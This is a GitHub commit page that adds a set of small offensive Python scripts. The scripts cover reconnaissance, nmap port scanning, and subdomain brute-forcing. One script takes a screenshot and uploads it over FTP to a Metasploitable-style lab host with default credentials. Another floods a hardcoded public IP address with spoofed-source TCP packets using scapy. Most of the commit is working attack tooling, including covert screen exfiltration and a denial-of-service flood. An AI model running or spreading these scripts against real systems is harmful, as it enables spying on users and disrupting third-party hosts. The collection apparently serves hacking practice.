Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commitf698082

Browse files
committed
add sourcecode
1 parentbf7c509 commitf698082

File tree

23 files changed

+2746
-0
lines changed

23 files changed

+2746
-0
lines changed
Binary file not shown.

‎01/inforecon.py

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
importsys
2+
importrequests
3+
importsocket
4+
importjson
5+
6+
iflen(sys.argv)<2:
7+
print("Usage: "+sys.argv[0]+"<url>")
8+
sys.exit(1)
9+
10+
req=requests.get("https://"+sys.argv[1])
11+
print("\n"+str(req.headers))
12+
13+
gethostby_=socket.gethostbyname(sys.argv[1])
14+
print("\nThe IP address of "+sys.argv[1]+" is: "+gethostby_+"\n")
15+
16+
#ipinfo.io
17+
18+
req_two=requests.get("https://ipinfo.io/"+gethostby_+"/json")
19+
resp_=json.loads(req_two.text)
20+
21+
print("Location: "+resp_["loc"])
22+
print("Region: "+resp_["region"])
23+
print("City: "+resp_["city"])
24+
print("Country: "+resp_["country"])
Binary file not shown.

‎02/nmapscanner.py

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
importnmap
2+
importsys
3+
4+
target=str(sys.argv[1])
5+
ports= [21,22,80,139,443,8080]
6+
7+
scan_v=nmap.PortScanner()
8+
9+
print("\nScanning",target,"for ports 21,22,80,139,443 and 8080...\n")
10+
11+
forportinports:
12+
portscan=scan_v.scan(target,str(port))
13+
print("Port",port," is ",portscan['scan'][list(portscan['scan'])[0]]['tcp'][port]['state'])
14+
15+
print("\nHost",target," is ",portscan['scan'][list(portscan['scan'])[0]]['status']['state'])
Binary file not shown.

‎03/grabber.py

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
importwx
2+
importos
3+
importftplib
4+
5+
w=wx.App()
6+
screen=wx.ScreenDC()
7+
size=screen.GetSize()
8+
bmap=wx.Bitmap(size[0],size[1])
9+
memo=wx.MemoryDC(bmap)
10+
memo.Blit(0,0,size[0],size[1],screen,0,0)
11+
12+
delmemo
13+
bmap.SaveFile("grabbed.png",wx.BITMAP_TYPE_PNG)
14+
15+
sess_=ftplib.FTP("192.168.85.128","msfadmin","msfadmin")
16+
file_=open("grabbed.png","rb")
17+
sess_.storbinary("STOR /tmp/grabbed.png",file_)
18+
19+
file_.close()
20+
sess_.quit()
21+

‎04/client.py

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
importsocket
2+
3+
sock_=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
4+
sock_.connect((socket.gethostname(),9337))
5+
msg=sock_.recv(1024)
6+
sock_.close()
7+
print(msg.decode("ascii"))
8+

‎04/server.py

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
importsocket
2+
3+
host=socket.gethostname()
4+
port=9337
5+
6+
sock_=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
7+
sock_.bind((host,port))
8+
sock_.listen(1)
9+
10+
print("\nServer started...\n")
11+
12+
conn,addr=sock_.accept()
13+
14+
print("Connection established with: ",str(addr))
15+
16+
message="\nThank you for connecting "+str(addr)
17+
conn.send(message.encode("ascii"))
18+
conn.close()
Binary file not shown.

‎05/floodz.py

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
fromscapy.allimport*
2+
3+
deffloodz(source,target):
4+
forsource_pinrange(100,150):
5+
IPlayer=IP(src=source,dst=target)
6+
TCPlayer=TCP(sport=source_p,dport=600)
7+
pkt=IPlayer/TCPlayer
8+
send(pkt)
9+
10+
source="127.0.0.1"
11+
target="162.241.24.197"
12+
floodz(source,target)
Binary file not shown.
Binary file not shown.

‎07/subd.py

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
importrequests
2+
importsys
3+
4+
sub_list=open("subdomains-1000.txt").read()
5+
subs=sub_list.splitlines()
6+
7+
forsubinsubs:
8+
url_to_check=f"http://{sub}.{sys.argv[1]}"
9+
10+
try:
11+
requests.get(url_to_check)
12+
13+
exceptrequests.ConnectionError:
14+
pass
15+
16+
else:
17+
print("Valid domain: ",url_to_check)

0 commit comments

Comments
 (0)

[8]ページ先頭

©2009-2025 Movatter.jp